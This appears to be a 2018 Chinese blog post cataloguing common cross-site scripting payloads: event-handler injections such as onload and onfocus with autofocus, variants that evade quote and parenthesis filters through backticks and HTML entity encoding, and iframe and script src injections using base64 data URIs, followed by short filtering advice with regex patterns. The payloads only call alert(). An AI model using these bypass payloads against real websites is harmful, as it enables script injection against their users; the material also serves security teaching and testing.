常见的XSS攻击代码
2018-06-27 15:04 狼人:-) 阅读(1161) 评论(0) 编辑 收藏 举报第一类:
<tag on*=*/>
在html标签中触发事件
Example:
1.加载完毕自动触发事件
<body onload="alert('xss')"></body>
2.使html某元素撑满整个页面
<p onclick="alert('1')" style="postion:fixed;width:100%;heith:100%"> </p>
3.增加属性触发事件
<input onfocus="alert('1')" autofocus/>
特殊字符' 、" 、( 、),如果遇到以上四个字符被过滤的情况,需要通过编码的方式去绕过。
Example:
1.不使用 "
<input onfocus=alert('1') autofocus/>
2.不使用 '
<input onfocus="alert(/1/)" autofocus/>
3.不使用 ( )
<input onfocus="alert`'1'`" autofocus/>
4.不使用 ' " ( )
<input onfocus=alert`1` autofocus/>
5.使用html实体编码绕过
<input onfocus="alert('1')" autofocus/>
6.使用html实体编码绕过变形
<input onfocus="alert('1')" autofocus/>
防范方式
Example:
1.使用环境允许插入html标签排版的情况下,很常见的就是将html事件熟悉转义为html实体编码字符,当然也可以直接拦截返回404。常见匹配策略 /on[^=]*=/ig
2.使用环境不允许插入html标签的情况下,不难看出所有的tag前面都紧贴着一个 “ < ” ,所以只需要将 “ < ” 使用html实体编码转换即可。常见匹配策略 /</g
第二类:<tag src=*/>
Example:
1.在iframe标签中加载一个脚本页面
<iframe src="./alert.html"></iframe>
2.在script标签中加载一个脚本
<script src="./alert.js"></script>
在src属性中可以使用可以直接请求一个外部连接,还可以用Data URI scheme直接嵌入文本
Example:
1.在iframe标签中使用Data URI scheme直接嵌入文本
<iframe src="data:text/html,<script>alert('1')</script>"></iframe>
2.在script标签中使用Data URI scheme直接嵌入文本
<script src="data:text/html,alert('1')"></script>
使用Data URI scheme直接嵌入文本,比较繁琐,但是这类的好处在于可以使用BASE64编码格式
Example:
1.在iframe标签中使用Data URI scheme直接嵌入BASE64编码后的文本
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
2.在script标签中使用Data URI scheme直接嵌入BASE64编码后的文本
<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
在该类型的变形中还可以结合第一类的变形使用
Example:
1.使用html实体编码URI
<script src="./alert.js"></script>
2.使用html实体编码Data URI scheme
<script src="data:text/html,alert('1')"></script>
3.使用html实体编码BASE64编码之后的Data URI scheme
<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南